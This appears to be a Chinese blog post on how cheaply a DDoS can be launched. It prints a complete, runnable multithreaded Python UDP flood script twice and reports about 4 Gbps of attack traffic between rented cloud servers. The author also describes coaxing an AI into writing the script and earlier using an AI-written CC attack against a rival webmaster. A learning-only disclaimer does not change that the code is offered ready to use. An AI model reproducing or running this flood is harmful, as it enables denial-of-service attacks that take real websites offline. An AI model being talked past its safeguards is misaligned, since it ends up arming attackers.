原来DDOS成本那么低 26行代码完成测试
本文只是用于学习交流 DDOS 攻击原理,并非教人去如何攻击他人网站 做出违法的事情。
前言:#
之前我写了一篇记一段 CC 攻击经历 记录了身为小白的我,一行代码都不会写利用 AI 写出一个简单的 CC 攻击脚本,攻击一个发生过摩擦的站长(随后这位站长礼尚往来 DDOS 和 CC 了我几天)最后事情不了了之也没有了后续。
今天这个文章去玩 DDOS 也是突发奇想的一个点子,我只知道 DDOS 向目标服务器发送大量请求导致服务器不可用,消耗服务器的资源最后服务商那边检测出再将服务器 IP 进入黑洞,来达到击落的一个效果。
像 UDP TCP 洪水攻击 放大攻击,这些我听说过但是并没有认真去了解背后是如何实现依旧原理,Google 搜索出来的解释都比较官方并不是很容易消化理解,于是找了 AI 进行另类的对话理解了其中的实现原理,并且套话 AI 把我写一个 python 脚本 自己进行了测试效果杆杆的。
代码测试:#
在 vultr 开了两台同地区的服务器,均使用 CPU 优化服务器,一个 80 刀一个 160 刀服务器,一开始的代码测试打出 5m 左右流量 后面直接加了 1000 并发也才 7m,和 AI 沟通可以通过添加数据包大小达到流量巅峰。
写出新的代码测试,在 vultr 后台显示:
服务器都是 G 口流量,居然打出了 4Gbps 的效果,通过 SSH 连接工具监控也能看到巅峰上行 2G 左右,被打的服务器也确实收到了这些流量 由于我测试完了就立马删机了(怕官方封号,里面还有一百多美金没有用呢)就没有过于详细的截图。
打了一下自己的服务器,有的流量一过去就死,有的一台服务器打不动两台服务器一起就死了,两台服务器如果只通过 SSH 连接工具监控来算 差不多有 3-5G 的上行,短短测试一会几百 G 的流量就没有了,然后我之前买的香港 BPG 服务器官方说 500M 带宽,用脚本测速下行其实 500M 差不多 上行居然有时可以跑到 2000M+ 要是那些不法分子有着这些服务器 或者像 ColoCrossing 那种不限流量的服务器 在服务商那边监管不严的情况下 买个几台轻轻松松就能把没有防御或低防御的服务器打进黑洞。
代码贴出:#
注意⚠️:你只能用于学习了解 DDOS 攻击原理,并且想自己研究如何防御攻击 切勿拿来做违法的事情 也切勿拿来做攻击他人网站的事情。
不管是在 SEO 的角度来看 或者一些公益或盈利的站点 一个网站的稳定性都是非常重要的,常在河边走那有不湿鞋 想做违法的事情 我劝你善良。
import socket
import threading
import time
def udp_flood(target_ip, target_port, message, duration, num_threads, packet_size=1024):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes_to_send = message.encode(‘utf-8’)
end_time = time.time() + duration
print(f”Starting UDP flood attack on {target_ip}:{target_port} for {duration} seconds with {num_threads} threads…”)
def send_udp():
while time.time() < end_time:
sock.sendto(bytes_to_send, (target_ip, target_port))
threads = []
for _ in range(num_threads):
thread = threading.Thread(target=send_udp)
thread.start()
threads.append(thread)
for thread in threads:
thread.join()
print(“Attack finished.”)
target_ip = “127.0.0.1” # 目标IP地址
target_port = 80 # 目标端口
message = “A” * 20000 # 发送的消息(1024字节大小的数据包)
duration = 100 # 持续时间(秒)
num_threads = 10 # 并发线程数
packet_size = 1024 # 每个UDP数据包的大小(字节)
udp_flood(target_ip, target_port, message, duration, num_threads, packet_size)
上面是去除一些多行和注释,如不可用 请用 AI 提供的原版:
import socket
import threading
import time
def udp_flood(target_ip, target_port, message, duration, num_threads, packet_size=1024):
# 创建UDP套接字
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# 将消息编码为字节
bytes_to_send = message.encode(‘utf-8’)
# 获取当前时间
end_time = time.time() + duration
print(f”Starting UDP flood attack on {target_ip}:{target_port} for {duration} seconds with {num_threads} threads…”)
# 定义发送数据的函数
def send_udp():
while time.time() < end_time:
sock.sendto(bytes_to_send, (target_ip, target_port))
# 启动多个线程发送UDP请求
threads = []
for _ in range(num_threads):
thread = threading.Thread(target=send_udp)
thread.start()
threads.append(thread)
# 等待所有线程完成
for thread in threads:
thread.join()
print(“Attack finished.”)
# 配置攻击参数
target_ip = “127.0.0.1” # 目标IP地址
target_port = 80 # 目标端口
message = “A” * 20000 # 发送的消息(1024字节大小的数据包)
duration = 100 # 持续时间(秒)
num_threads = 10 # 并发线程数
packet_size = 1024 # 每个UDP数据包的大小(字节)
# 发起攻击
udp_flood(target_ip, target_port, message, duration, num_threads, packet_size)
黑马源码资源网 » 原来DDOS成本那么低 26行代码完成测试